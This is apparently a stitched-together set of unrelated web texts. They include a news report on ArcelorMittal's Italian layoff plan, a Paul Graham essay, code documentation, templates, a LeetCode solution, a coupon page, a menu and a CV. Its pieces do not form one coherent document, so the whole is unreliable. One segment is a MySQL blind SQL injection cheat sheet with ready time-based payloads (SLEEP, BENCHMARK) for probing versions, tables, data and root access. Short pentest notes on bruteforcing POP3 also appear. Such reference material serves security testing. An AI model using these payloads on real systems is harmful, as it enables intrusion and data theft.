Italian PM says ArcelorMittal wants mass layoffs, government rejects demand
Steel giant ArcelorMittal wants to cut 5,000 jobs in Italy because of low production levels at its Taranto plant, Italian Prime Minister Giuseppe Conte said on Wednesday, denouncing the plan as "unacceptable".
ROME: Steel giant ArcelorMittal wants to cut 5,000 jobs in Italy because of low production levels at its Taranto plant, Italian Prime Minister Giuseppe Conte said on Wednesday, denouncing the plan as "unacceptable".
The mooted layoffs at the Ilva steelworks in Taranto came just two days after ArcelorMittal announced that it planned to pull out of a year-old deal to buy the Italian company.
ArcelorMittal blamed its decision at time on the government's failure to renew a legal shield it had previously provided which gave the firm immunity from prosecution while it cleaned up the heavily polluting plant.
Conte met ArcelorMittal managers earlier in the day and said it was clear the legal shield had nothing to do with the threat to quit Italy. The real problem was that the firm had not hit its production targets, he told reporters.
"The legal shield is not the issue. The company believes that the current production level of 4 million tonnes a year does not cover its investments and cannot justify current job numbers," Conte said.
There was no immediate comment from ArcelorMittal.
ArcelorMittal took control of Ilva in November 2018 and has some 10,700 employees in Italy, including 8,200 in Taranto - the largest such steel plant in Europe.
Conte said it had aimed to produce 6 million tonnes of steel a year in Taranto. He added that ArcelorMittal could not turn around one year into its contract and announce that its plan was no longer viable.
The prime minister said he had given ArcelorMittal two days to rethink its position, but acknowledged that he had received no commitment from the company to review its stance.
"It is premature to say how this will end. The layoff plan they have presented is clearly unacceptable. Any layoff plan is unacceptable," Conte said, adding: "This first meeting does not give us much hope."
(Reporting by Crispian Balmer and Giuseppe Fonte; Editing by James Mackenzie and Lisa Shumaker)


Bruteforcing pop3 is frustrating
make sure the right wordlist is being used
make sure the right module is targeting the right port
big wordlists are nice, but maybe a smaller combination of wordlists works better
actions:
new wordlists created, fasttrack downloaded and added
pop3 commands added
kernel exploit added
burp shortcuts added for "url encode all characters"


- Mailer - Class in com.fsc.cicerone.mailer
-
Class to send a request to send e-mail to the remote connector.
- MainActivity - Class in com.fsc.cicerone.view.system
-
The Main Activity used in the system Cicerone.
- MainActivity() - Constructor for class com.fsc.cicerone.view.system.MainActivity
-
Empty Constructor.
- MainActivity(int) - Constructor for class com.fsc.cicerone.view.system.MainActivity
-
A Constructor that set a Layout taken as a Parameter.
- manageResult(int, int, Intent, ImageView) - Method in class com.fsc.cicerone.manager.ImageManager
-
Manage the subsequent activity returns.
- MAXIMUM_PARTICIPANTS_KEY - Static variable in class com.fsc.cicerone.model.Itinerary.Columns
-
- maxParticipants(int) - Method in class com.fsc.cicerone.model.Itinerary.Builder
-
Set the itinerary's maximum participants.
- maxParticipants - Variable in class com.fsc.cicerone.view.itinerary.ItineraryModifier
-
- MINIMUM_PARTICIPANTS_KEY - Static variable in class com.fsc.cicerone.model.Itinerary.Columns
-
- minParticipants(int) - Method in class com.fsc.cicerone.model.Itinerary.Builder
-
Set the itinerary's minimum participants.
- minParticipants - Variable in class com.fsc.cicerone.view.itinerary.ItineraryModifier
-
- myCalendar - Variable in class com.fsc.cicerone.view.itinerary.ItineraryModifier
-
- MyFirebaseMessagingService - Class in com.fsc.cicerone.notifications
-
Class that represents the interface to the Google Firebase API (client-side).
- MyFirebaseMessagingService() - Constructor for class com.fsc.cicerone.notifications.MyFirebaseMessagingService
-


{% extends 'base.html' %} {% block head %} {% load bootstrap %} {% endblock %} {%block body%}
Dang! the username is taken. Try another one.


494_Hai_dee.py
from functools import lru_cache
class Solution:
def minCost(self, houses: List[int], cost: List[List[int]], m: int, n: int, target: int) -> int:
# i = house
# c = previous color
# t = number of neighbourhoods needed.
@lru_cache(maxsize=None)
def solve(i, c, t):
# Invalid cases...
if t < 0:
return math.inf
if i == len(houses):
if t == 0:
return 0
else:
return math.inf
# If the house is already painted...
if houses[i] != 0:
if houses[i] == c:
return solve(i + 1, c, t)
else:
return solve(i + 1, houses[i], t - 1)
# Otherwise we need to paint the house.
min_cost = math.inf
for j in range(1, n + 1):
this_cost = cost[i][j - 1]
if j == c:
this_cost += solve(i + 1, c, t)
else:
this_cost += solve(i + 1, j, t - 1)
min_cost = min(min_cost, this_cost)
return min_cost
answer = solve(0, 0, target)
if answer is math.inf:
return -1
else:
return answer


If you see this page, you have not entered a research environment URL!
-
Please have a look on our
Wiki
to find more information about research environments in general.
-
On the
instance overview
you may find the appropriate URL for your research environment.


Robo Warriors
Robo Warriors is a movie starring James Remar, Kyle Howard, and James Tolkan. The year is 2036 and Earth has been invaded: hope lies with the last Robo Warrior - a towering fighting machine.


I’m pretty sure that there are other people like me who like building things and would rather do that instead of whatever work they are involved in that they aren’t fit for. On the other hand, I have the impression that many people think that learning how to code is difficult and only for the mathematically capable (this was me in the past). But in my personal experience and looking at other examples as well, despite the common image of whiz kid programmers (think Mark Zuckerburg in Social Network), coding isn’t that difficult to learn. And it certainly doesn’t require high levels of computational skills, at least to start out.
There are so many free online resources that anyone can use to learn the basics of programming. There are also many wonderful paid resources to dive deeper. I really enjoy teaching people how to code because I sincerely believe that it’s a skill/hobby that is not only a viable career option, but is also fun.
 Learning how to code is a good thing, but it doesn’t mean that everyone should necessarily pursue a career in programming.
There tends to be a lot of articles suggesting that everyone should learn how to code. Education is moving towards the direction of making it mandatory for students to learn programming from a young age as well. This is a great thing in that it will certainly open a lot of doors for a lot of people. However, I’m skeptical on whether most of the classes on programming that these students will enroll in will teach programming in a way that excites them. Sure, they can learn basic syntax and (be forced to) build some simple games, but will it be something that excites students? Or will it have an unfortunate effect of giving them a false impression that programming is boring and lead potential programmers to shy away from it?
I also think that even if one tries to force him/herself into becoming a programmer, I don’t think it really works that way.
That’s why I think it’s crucial to teach in a way that excites and motivates students to actually build things, instead of worrying about the complicated theoretical matters that may be involved with programming. I believe that the more the indiviual likes to program intrinsically, the better the individual will become at programming.
Learning how to program is a lifelong pursuit; like any thing that involve various elements, programming is easy to learn, but hard to master. However, although I certainly can’t say that I have mastered programming in any way, I can say with confidence that the small rewards of pursuing mastery is extremely worthwhile.


--- layout: post permalink: merchantcashgroup.html Tags: Array NameOfCoupon: Merchant Cash Group Cash Back Summary: See our Merchant Cash Group Coupon Code, Merchant Cash Group Rebate, Merchant Cash Group Promo Code, Merchant Cash Group Discount, Merchant Cash Group Coupon Cash Back Rebate here. MetaKeywords: Merchant Cash Group Coupon Code, Merchant Cash Group Rebate, Merchant Cash Group Promo Code, Merchant Cash Group Cash Back Rebate, Merchant Cash Group Discount, Merchant Cash Group Coupon Image: images/21168.jpg LinkURL: http://www.shareasale.com/r.cfm?b=163710&u=412002&m=21168 affiliate_url_link: http://www.icouponblog.com/jane.php?id=47 thesis_readmore: See the Merchant Cash Group Coupon thesis_thumb: http://www.icouponblog.com/tn.php?merchantURL=merchantcashgroup.com Title: Save $25 - Merchant Cash Group Coupon Code for merchantcashgroup.com. Merchant Cash Group Rebate & Discount thesis_description: Our Merchant Cash Group Discount Coupon Code for merchantcashgroup.com. We have the best Merchant Cash Group Rebate anywhere. thesis_keywords: Merchant Cash Group, Merchant Cash Group Coupon Code, Merchant Cash Group Discount, Merchant Cash Group Rebate product_name: Merchant Cash Group hop_url: http://www.icouponblog.com/hop.php?id=47 ---
Merchant Cash Group offers cash advances to small and medium sized businesses. When you need a loan for your business, Merchant Cash Group is there to help.
Making Merchant Cash Group even better is the fact that you can get $25 cash back with our Merchant Cash Group rebate. Ready to give Merchant Cash Group a try? Make sure to use our Merchant Cash Group coupon
What makes Merchant Cash Group different than other loan agencies?
Merchant Cash Group takes an alernative approach to loans. Here is some info about them from the Merchant Cash Group website:
'We offer business cash advances which can provide you with the working capital you need to keep your business operating. With a merchant cash advance we are purchasing a portion of your future credit card sales. We then deduct a portion of your daily credit card transactions so we get paid as you do, and that means there is very little risk to you. Our clients use their merchant cash advance to do such things as: complete expansions, upgrades, renovations, or purchase new equipment. We specialize in restaurant loans alternatives.'
Because we've teamed up with Merchant Cash Group, we are able to offer this excellent Merchant Cash Group rebate. Make sure to use our Merchant Cash Group rebate and receive $25 back upon your successful Merchant Cash Group purchase!


Hobbies
The Adobe family of companies may keep me informed with personalized emails about products and services. See our Terms of Use and privacy policy. form more details or to opt-out at any time.
By clicking create account, I agree that i have read and accepted the Terms of use and Privacy Policy


"served all day"
add any 2 of the following: egg, steak, veggies, bacon, ham, chorizos, ground beef. american white cheese, mozarella cheese (add tater to any $1.99)
two scrambled eggs with tomatoes, jalapeoes, and oinons. served with rice, beans, and small salad
two and styles eggs served on corn tortllas, covered with our homemade juliana salsa serverd with rice, beans, and small sala.
served with rice, beans, and a small salad
starters
cheese dip, guacomole dip, bean dip, chori dip, poblano dip
small : $3.99 large $6.99
french fries coverde with cheese dip, ranch and bacon
bbq - lemon pepper - hot - mild
salads
grilled chicken serverd with lettuce, tomatoes, bell peppers, onions, avacado, cheese, sour cream, and lime
crispy tortilla shell filled with lettuce, cheese dip, tomatoes, sour cream, pico de gallo, and rice or beans and your choice of meat
crispy tortilla shell filled with lettuce, cheese dip, tomatoes, sour cream, pico de gallo, and rice or beans and your choice of meat with onions and bell peppers.
grilled chicken breast with bell peppers, onions, mushrooms, tomatoes, and zuccchini
para ninos
all fajitias severd with rice and beans, lettuce, pico de gallo, sour cream, and your choice of fllur or corn tortillas
steak and chicken cooked with bell peppers, onions and tomatoes.
steak and chicken cooked with bell peppers, onions and tomatoes.
steak, chicken, and shrimp cooked with bell peppers, onions and tomatoes.(24.99 for two)
tender steak, bacon , and ham grilled with bell peppers and onions served on a hot skillet topped with shredded cheese. (24.99 for two)
sandwiches
(served on our homemade french bread with french fries)
uruguayian style sausage with lettuce, tomatoes, jalapeoes, and mayo
breaded steak or chicken with lettuce, tomatoes, jalapeoes and mayo
shredded chicken seasoned with our chipotle salsa, with grilled onions, cheese, sour cream, lettuce, tomatoes, and jalapeoes
lettuce, tomatoes, jalapeoes, mayo, cheese, grilled onions, avacado, and your choice of meat
steak or chicken, milanesa, hot dogs, bacon, a fried egg, lettuce, tomatoes cheese, jalapeoes, and mayo.
seasoned spinach and grilled onions omlette with tomatoes and jalapeoes
filled with rice, beans, cheese, fresh lettuce, soulr cream, pico de gallo tacuari salsa, and yous choice of meat (shrimp of fish burrito $1.00 extra)
two-corn tortilla, fresh lettuces, tomatoes, cheese, and your choice of meat
flour tortilla, fresh lettuce, tomatoes, cheese, and your choice of meat
fried corn tortilla, fresh lettuce, tomatoes, cheese, and your choice of meat
two-corn tortllas filled with grilled onions, tomatoes, and fish or shrimp with fresh chopped cilantro and lime
folded 10 inch flour tortilla filled with melted american cheese, lettuce, pico de gallo, and sour cream on the side. (add meat $1.00 extra)
folded 10 inch flour tortilla filled with melted american cheese and shreded chicken, lettuce, pico de gallo, rice or beans, and sour cream on the side. (add meat $1.00 extra)
homemade fried pie filled with cheese and your choice of meat
steak(asada) - chicken(pollo) - marinated pork(pastor) - ground beef(molida) - barbscoa mexican beef - tinga - veggies


The Ronco Principle
January 2015
No one, VC or angel, has invested in more of the top startups than Ron Conway. He knows what happened in every deal in the Valley, half the time because he arranged it.
And yet he's a super nice guy. In fact, nice is not the word. Ronco is good. I know of zero instances in which he has behaved badly. It's hard even to imagine.
When I first came to Silicon Valley I thought "How lucky that someone so powerful is so benevolent." But gradually I realized it wasn't luck. It was by being benevolent that Ronco became so powerful. All the deals he gets to invest in come to him through referrals. Google did. Facebook did. Twitter was a referral from Evan Williams himself. And the reason so many people refer deals to him is that he's proven himself to be a good guy.
Good does not mean being a pushover. I would not want to face an angry Ronco. But if Ron's angry at you, it's because you did something wrong. Ron is so old school he's Old Testament. He will smite you in his just wrath, but there's no malice in it.
In almost every domain there are advantages to seeming good. It makes people trust you. But actually being good is an expensive way to seem good. To an amoral person it might seem to be overkill.
In some fields it might be, but apparently not in the startup world. Though plenty of investors are jerks, there is a clear trend among them: the most successful investors are also the most upstanding. [1]
It was not always this way. I would not feel confident saying that about investors twenty years ago.
What changed? The startup world became more transparent and more unpredictable. Both make it harder to seem good without actually being good.
It's obvious why transparency has that effect. When an investor maltreats a founder now, it gets out. Maybe not all the way to the press, but other founders hear about it, and that means that investor starts to lose deals. [2]
The effect of unpredictability is more subtle. It increases the work of being inconsistent. If you're going to be two-faced, you have to know who you should be nice to and who you can get away with being nasty to. In the startup world, things change so rapidly that you can't tell. The random college kid you talk to today might in a couple years be the CEO of the hottest startup in the Valley. If you can't tell who to be nice to, you have to be nice to everyone. And probably the only people who can manage that are the people who are genuinely good.
In a sufficiently connected and unpredictable world, you can't seem good without being good.
As often happens, Ron discovered how to be the investor of the future by accident. He didn't foresee the future of startup investing, realize it would pay to be upstanding, and force himself to behave that way. It would feel unnatural to him to behave any other way. He was already living in the future.
Fortunately that future is not limited to the startup world. The startup world is more transparent and unpredictable than most, but almost everywhere the trend is in that direction.
Notes
[1] I'm not saying that if you sort investors by benevolence you've also sorted them by returns, but rather that if you do a scatterplot with benevolence on the x axis and returns on the y, you'd see a clear upward trend.
[2] Y Combinator in particular, because it aggregates data from so many startups, has a pretty comprehensive view of investor behavior.
Thanks to Sam Altman and Jessica Livingston for reading drafts of this.


Summary:
This endpoint creates a subscription record in the Subscriptions table, from a specified record and module. It allows the user to be subscribed to activity stream messages for the record being subscribed to, or "followed".
Query Parameters:
This endpoint does not accept any parameters.
Input Example:
This endpoint does not accept any input.
Output Example:
If successful, the endpoint responds with the GUID of the subscription record.
"96ad733c-df51-dd9d-1888-514112ef0595"


(blog :page "owl/01-the-why-and-the-what")
The why and the what
This will be a tour where I try to build a good Linux scripting environment on top of Owl Lisp.
Why not bash, python, <my favorite language>?
Nothing if you're happy with the language you pick. I haven't found an environment that would suit my needs yet. When starting with bash the scripts are good enough (if you use shellcheck), but once you get over ~100 lines of code things go messy, specifically:
- composition: since everything is a string you slowly start hacking around it with some ad-hoc rules and tricks.
- reusability: functions are extremely stupid - they can only return a string or exit with some return code.
- error handling: almost none by default, weird when turned on (see this explanation). I could go into more details, but don't make me.
- many, many pitfalls.
Another common choice (especially when your bash script outgrows it's initial expectations) is python. After working with it for a while I didn't come to appreciate it. There's too many choices in the language I don't agree with and keep tripping me up or write a lot of boilerplate code. Again, I don't want to rant so I won't.
So what am I looking for?
I want a scripting language where:
- I can simply and cleanly fall back to calling external commands, pipes, redirects etc. Basically a well designed bash interop. Since many things are already written this way I want to leverage that.
- working with the filesystem is simple and intuitive.
- functions are first class. This is the single strongest abstraction I need.
- data is immutable. Because I care about the value of values.
- focus is on functional programming instead of objects.
- the language can be molded to one's needs - hence lisp, the metaprogramming language.
- fast startup of the interpreter. We are aiming for quick scripting that could be possibly chained in bash.
Owl lisp misses the first 2 points, which we can fix by writing some libraries. And that's what these posts will be mostly about.
What's next?
If you're not familiar with scheme you should read at least this to get the basics of the language. Unfortunately owl lisp isn't very much documented, but it's mostly written in itself so we can read the source code to learn what we need.
In the next post we will set up owl lisp and start working on the first small bits of filesystem operations.


{%extends "nav_events.html"%} {%block title%}Events{%endblock%} {%block fullcontent%}
The following events are currently planned to be held in the near future.


{% include "head.html" %}
Retro Games
Vote for your all-time favorite games!
{% block content %}{% endblock %}


This article, which is my very first my first Code Page, describes a very simple solution for a WPF application where the user may need to customise which key causes a certain action. While coded in C#, it should be easy to port to VisualBasic. I have been programming professionally in vb with wpf for 5 years but I seem to have only scratched the surface of the dot net structure
This solution was created while coding for a player that I use late at night, and half asleep, to listen to previously downloaded podcast documentaries. Ideally the program would respond to my thoughts or mood to reject or accept the randomly offered audio feeds - but lacking this technology, I need grope for the keyboard in the dark and press easily found keys to pause, rewind or reject the offered musings.
Having programmed suitable keys for my particular laptop, I realised that I might rather use a different older laptop with a completely different keyboard layout. The previous key selection was nolonger suitable, so I needed a keyboard configurationi file. I am sure this has been done before but I have yet to find it. Equally, the searching for coding articles on HotKeys, C# and WPF finds code descriptions that I do not understand.
This solution primarily uses just the key.toString() method to allow the use of a dictionary, loaded at runtime from a configuration file, to select what action a key pressed will take.
Having moved into C# only recently, I would welcome any comments on how this code could be made even simpler. My use of namespace and encapsulation could be improved for sure - but there seems to be a fine balance between robust code and understandable code that I have yet to find.
The code in KeyAction.cs contains a dictionary that is typically loaded from a file when the parent application runs:
keyAction = new KeyActionClass("keyconfig.txt", actionList);
The "keyconfig.txt" is just a "=" seperated list of action/key descriptor pairs. It could be hand entered but I have provided a keySelectWindow dialog for user key selection.
The actionList optional and is just a String array of possible action descriptors, but it is useful to provide place holders for actions that have not been assigned in the keyboard configeration file. Interestingly, when I initially had actionList defined as just a static array and held in actionList as just a reference, a compile error would return inconsistent protection on the entire class - much time was lost on interpreting this error which I still don't completely understand.
Running the constructor for the KeyActionClass also loads keyList by interating through the System.Windows.Input.Key enumerated type looking for values that do not return an integer from the toString function. If integer to Key conversion had not been possible, this method would have failed.
The keyAction class is next used in the keyEvent handler in the application code:
private void keyPressed(object sender, System.Windows.Input.KeyEventArgs e) { Console.WriteLine("Key pressed:" + e.Key.ToString()); String act = keyAction.getAction(e.Key); ... switch (act) { case "Action1": ... break; case "Action2": ... break;
Here the action descriptors loaded from the key configeration file must match those in switch case statement, while the key descriptors in the configeration file must match the return from the e.Key.ToString() statement.
If it were not difficult to hand enter the exact descriptors, no further code would be necessary. My solution is a simple WPF dialog box coded in keySelectWindow.xaml and keySelectWindow.xaml.cs.
The following code will open this dialog box from your application:
keyWindow = new keySelectWindow(keyAction); keyWindow.ShowDialog(); keyWindow.Focus();
In the attached example application podPlayer, this dialog is opened from within another configeration dialog (for editing mode) or from the mainwindow to provide a list of hotkeys.
The constructor for this window derived class loads a scrollable stack panel with action/key pairs.
The combobox change event handler, actionKeyChanged, originally accessed all of the stack panel childen and used the action label and key combo box to set the dictionary in KeyActionClass. A simpler and more robust alternatively is to assign the action discriptor to the name of the combo box and use this to set the dictionary as:
keyAction.setKeyAction(((ComboBox)ob).Name, ((ComboBox)ob).SelectedItem.ToString());
The result looks something like this:


Please enter your Details
FirstName
LastName:
Age:
Middle Name:
Email:
Password:
Confirm Password
Phone Number:
House Address:
i have Agreed to All Houshelp.ng
terms and conditions
Copyright © Househelp Inc. 2021


Name
HPL_indxl2g Map a index-process pair into a global index.
Synopsis
#include "hpl.h"
int
HPL_indxl2g(
const int
IL
,
const int
INB
,
const int
NB
,
const int
PROC
,
const int
SRCPROC
,
const int
NPROCS
);
Description
HPL_indxl2g
computes the global index of a matrix entry pointed to
by the local index IL of the process indicated by PROC.
Arguments
IL (input) const int
On entry, IL specifies the local index of the matrix entry.
IL must be at least zero.
INB (input) const int
On entry, INB specifies the size of the first block of the
global matrix. INB must be at least one.
NB (input) const int
On entry, NB specifies the blocking factor used to partition
and distribute the matrix A. NB must be larger than one.
PROC (input) const int
On entry, PROC specifies the coordinate of the process whose
local array row or column is to be determined. PROC must be
at least zero and strictly less than NPROCS.
SRCPROC (input) const int
On entry, SRCPROC specifies the coordinate of the process
that possesses the first row or column of the matrix. SRCPROC
must be at least zero and strictly less than NPROCS.
NPROCS (input) const int
On entry, NPROCS specifies the total number of process rows
or columns over which the matrix is distributed. NPROCS must
be at least one.
See Also
HPL_indxg2l,
HPL_indxg2lp,
HPL_indxg2p,
HPL_numroc,
HPL_numrocI.


MYOB Web Application AccountRight Sample in ASP.NET C#
Web application developed in asp.net c# to for reporting and automatic backup purpose for company file in myob cloud.
C# .Net Sample Web App
ASP.Net sample app demonstrating accessing the AccountRight Live API using the SDK in c#.
AccountRight API - C#.Net Web Application
- Uses the new .Net SDK
- Navigates available files on cloud server
- Manages OAuth login (note: SDK manages refreshing of tokens!)
- Demonstrates use of paging and filtering through listing of Purchase order Sales, Profit and loss, and balance sheets.
- Gives automatic backup of purchase order and sales report of definite period of time which we can configure in webconfig.
Requirements
- Visual Studio
- MYOBApi developer key and secret (To access cloud server)
Getting up and running
- Unzip source code to a local folder and open the solution file.
- Restore Nuget Packages,
- Get Developer key and Developer Secret key for your account from developer section from account. For more detail go to
this page
- Update developer key and Developer Secret key and CallBackUrl from there in webconfig in this project.
- then compile and run.
- It will first ask for Username, Password of provide it. It will send you passkey to email, enter that key to two way authentication page. Then you are all set.
- It will take you to company listing with that account. Put user name and password for that company.
.
- it wil take you to search page where you can search Purchase, Sales, Profit and Loss etc.
- For automatic backup you have to create windows task which open browser with url http://localhost/Web/AutoBackup as parameter. You can put some triggers which will create backup files in excel format.
Happy Coding!!!


{% extends 'menu.html' %} {% block content %}
There are no tournaments available.
View makes ({{ make_count }}) | Add a make


Beautiful
Do Work
Overview
TODO
Task: Code the next Facebook
Last progress 45 minutes ago
In order to ...
(read more)
Task: Code the next Facebook
Last progress 45 minutes ago
In order to ...
(read more)
© 2014 Beautiful


This object will navigate though the pages of the App. Implements Router
A View representing a Stat Inherit from ConstraintLayout


About this graph
This graph shows a snapshot (
between
and
) of compiler usage.
Compiler not displayed on the chart


Partial-blind injections are queries that return HTTP Status Codes, or other markers in the HTML response, that indicate true or false statements. The queries below will attempt to exploit the injection by asserting a true or false response upon guessed information. True or false queries can also be identified by returning 1(True) or 0(False) rows. An error can also be used to identify 0(False).
| Description | Query |
|---|---|
| Version is 5.x.x | SELECT substring(version(),1,1)=5 |
| Subselect enabled | SELECT 1 AND (select 1)=1 |
| Table log_table exists | SELECT 1 AND (select 1 from log_table limit 0,1)=1 |
| Column message exists in table log_table Note: Query should error if column doesn't exist |
SELECT message FROM log_table LIMIT 0,1 |
| First letter of first message is t | SELECT ascii(substring((SELECT message from log_table limit 0,1),1,1))=114 |
Any of the above queries can be used in full-blind scenarios by using the following conversion: SELECT IF(*PARTIAL_BLIND_QUERY*, SLEEP(5), null)
Partial-blind injections can be determined by differing HTTP status codes, response times, content-lengths, and HTML contents in the HTTP response. These markers can indicate true or false statements. The queries below will attempt to exploit the injection by asserting a true or false response upon guessed information. True or false queries can also be identified by returning 1(True) or 0(False) rows. An error can also be used to identify 0(False).
| Description | Query |
|---|---|
| User is root | SELECT IF(user() LIKE 'root@%', SLEEP(5), null) |
| User is root (Benchmark method) | SELECT IF(user() LIKE 'root@%', BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds')), null) |
| Version is 5.x.x | SELECT IF(SUBSTRING(version(),1,1)=5,SLEEP(5),null) |


Volkswagen Postdoctoral Research Fellow, Center for American Studies, Universität Heidelberg, 2017-18
PhD, Washington University in St. Louis, English, 2017
BA, Dordt College, English, 2011
Gospel Writ in Steel: Puritan Genealogies in the Abolitionist Imagination, book manuscript
“Stowe’s Bell Puritaine: Protestant Crisis after Uncle Tom’s Cabin,” Nineteenth-Century Literature, under review
“Original Origins: Were Abolitionists the New Puritans?”, Journal of American Studies, under review
“Swept into Puritanism: Emerson, Phillips, and the Roots of Radicalism,” The New England Quarterly, March 2017
“Manhood and Romanticism in the Fiction of Herman Melville,” Colonial Era to the 19th Century in American Literature, ed. Laura Leibman, Gale, 2016
“Frederick Douglass” & “Uncle Tom’s Cabin,” The Encyclopedia of African American Culture, ed. Gerald Early, Greenwood Press, forthcoming
“Year in Conferences: ALA 2016,” ESQ, March 2016
“In Some Bright Place,” Open Letters Monthly, February 2017
“Darwin Americanus,” Los Angeles Review of Books, February 2017
“Loving American Philosophy,” OLM, November 2016
“The Smooth Handle: Thomas Jefferson’s Dream of Sally Hemings,” OLM, June 2016
“A Helluva Lot Easier When They’re Dead: Picturing the Civil War in Comic, Collage, and Corpse,” LARB, 2015
“Mapmaker: A Cartographic Adventure in Plot, Theme, and Place,” Ed. Bill Gleason and Diana Fuss, The Pocket Instructor: Literature, Princeton, N.J,: Princeton UP, September 2015
“Undercover Boss: A Christmas Story,” The Baffler, 2014
American Reckoning: Reparations from the Plantation to Ferguson, Spring 16*
Writing 1: The Business of Words, Spring 14*
Writing 1: The Essay, Fall 13*
Writing 1: Writing the Self, Spring 13*
Antislavery America, Summer 17
The History and Theory of Human Rights (writing instructor ), Summer 14
The American Renaissance, Dr. Robert Milder, Fall 15
Exploring America: Ground Zero, Dr. Heidi Kolk and Michael Allen, Spring 15*
American Folk: American Studies Methods and Visions, Dr. Matthew Fluharty, Fall 14
* Awarded the Dean’s Award for Teaching Excellence
“Sacred-Secular Borderlands: The Postsecular in American Literature,” Discussion Panel Organizer, Midwest MLA, Fall 2016
“Puritan Heritage in Harriet Beecher Stowe’s Folk Theology,” Folk and Indigenous Religion Panel, sponsored by The American Religion and Literature Society, ALA, Spring 2016
“The Fire in the Hearth: Domesticating Dissent after Uncle Tom,” Keynote Presenter, Graduate Symposium, Fall 15
“Puritans Fighting Slavery: Wendell Phillips and Ralph Waldo Emerson,” Panel Organizer and Presenter, Sacred Literature, Secular Religion, LeMoyne College, Fall 15
“Emerson’s Puritan Abolitionism,” Panel Organizer and Presenter, ALA-sponsored Conference God and the American Writer, San Antonio, TX, Spring 15
“Whose America? What Literature? Which History? Doing Interdisciplinary” Imagining Interdisciplinary Workshop, Washington University , Spring 15
“Bastards and True Blood: Wendell Phillips’s Genealogical Activism,” Washington University Graduate Colloquium, Fall 14
“New Media and the Midwest Vernacular,” Society for the Study of Midwestern Literature, Annual Symposium, Spring 13
Dr. Gerald Early, African-American Studies, Washington University, 2015-16
Solicited, organized, and edited entries for The Encyclopedia of African American Culture.
Dr. Vivian Pollak, English, Washington University, Spring 14
Reviewed Civil War-era original poetry in the Springfield Daily Republican.
Dr. Dawn Brancati, Political Science, Washington University, Spring 14
Edited chapters of Democracy Protests (Cambridge UP)
Faye Dant, Founding Director, Jim’s Journey: The Huck Finn Freedom Center Fall 13
Researched Twain’s and Hannibal’s relation to African Americans; designed website.
Dean’s Award for Teaching Excellence, Spring 17
Only student in the history of the university to earn this award twice. Awarded for my course, “American Reckoning,” on the legacies of slavery.
New England Regional Fellowship Consortium, Research Fellow, Summer - Fall 2016
$5k three-month fellowship through MA Historical Society for archival work in Harvard’s Houghton and Schlesinger libraries, Boston Public Library, and more.
Dissertation Fellowship, WUSTL Graduate School of Arts & Sciences, Fall 16 – Spring 17
University Fellowship, WUSTL Graduate School of Arts & Sciences, 2011 – 16
Center for the Humanities Reading Group Grant: Digital Humanities & New Media, 2015-16
Center for the Humanities Reading Group Grant: Religion and Literature, 2015-16
Mellon Seminar Fellow, “Troubling History,” Dr. Stephen Zwicker, Summer 15
Only 19th-centuryist and Americanist admitted to this early-modern seminar.
Humanities Digital Workshop Fellow, Summer 14 & 15
Awarded to aid Drs. Lynne Tatlock and Matt Erlin in developing methods of digital analysis for translation history and themes of 19C German and American works.
Graduate Affiliate, John C. Danforth Center on Religion and Politics, 2014 – 16
Awarded for excellent support in colloquiums for new work by leading scholars of religion.
Dean’s Award for Teaching Excellence, Spring 14
Only instructor to earn this award in first three semesters of teaching and for the required “Writing 1” course, with among the highest evaluations in the program’s history.
NEH Next Generation PhD Planning Grant, Center for the Humanities, 2016-17
Asked to serve as grad delegate on NEH-funded working group to evaluate PhD training
Digital Humanities & New Media Reading Group, co-convener, 2015-16
Religion and Literature Reading Group, co-convener, 2015-16
Teaching Center Graduate Advisory Panel, 2014-2016
Co-Chair, Peer Mentoring Committee, 2013-2014
Graduate Representative, Assembly Lecture Series, 2012-13
Peer Mentor, English Department, 2012-2013
Reading and Research: German, Dutch, French, Spanish, Latin Digital: Python, HTML, CSS, SVP
Modern Language Association American Literary Association Ralph Waldo Emerson Society


Proglint - Video Conferencing - POC HOME Open Room Join Room Auto Open Or Join Room Leave /or close the room Share File Start-recording Stop-recording


Computer Science Department
These are the faculty members for the computer science department at Centre College.
Michael Bradshaw
Thomas Allen
Alex McAllister
David Toth
Home Page


All of the following modules should be installed for proper execution. However, some can be missing as long the functionalities that use them are not executed.
A chain represents a composition of functions that store all intermediate results
The form a function is presented within a chain is y = f{cfg}(x) where y is the variable under which to store the intermediate result, f is the function to apply, cfg is the configuration to use for the plugin where f comes from, and x is the input value
y must be a variable, i.e. it starts with a % seal and it will be saved to the database
f can be either a plugin name, or a lambda type variable read from the database (which in turn contains a plugin name)
x can be:
You must first configure the database back end as this is used to stored intermediate and final results of computations. You can do this by going to Edit/Plugin Settings... and setting up correct plugin paths, picking a database plugin and configuring it properly
Once you have some chains defined in the document and your database plugin is well configured, you can choose File/Run to run the expression engine
The expression engine will evaluate all chains in the give order; all variables are read/stored in the database
After running an input deck of chains, you can display all the variables stored in the database with File/View Results.... This will display all field values, plot all arrays and waves, and display the result component of a lambda
You can purge the entire contents of the database using Edit/Clear Database
| function | form | description |
| new | new(cfg) → function | factory that returns a configured applyable function |
| apply | function::apply(x) → y | apply the function to x and yield the result; result can be a scalar, an array or a lambda |
| default_parameters | default_parameters → hash | returns a plugin specific configuration hash; the format of a hash is { $aScalarValue =→ 42, @anArray =→ [1, 2, 3] } |
| function | form | description |
| open | open(cfg) → | open a connection to the database and apply the given configuration to the driver |
| close | close → | close the connection |
| get | get(name) → result | return the variable with name; The return type is a hash of the form { type, value }, where type is any of { field, array, wave, lambda } and value can be a string, array, wave or lambda hash |
| set | set(name, value) → result | set the variable with name to value if given; if value is not given, the variable is deleted; value is of the same form as that returned by get |
| default_parameters | default_parameters → hash | returns a plugin specific configuration hash; the format of a hash is { $aScalarValue =→ 42, @anArray =→ [1, 2, 3] } |
The data format returned by DB plugins is as follows:
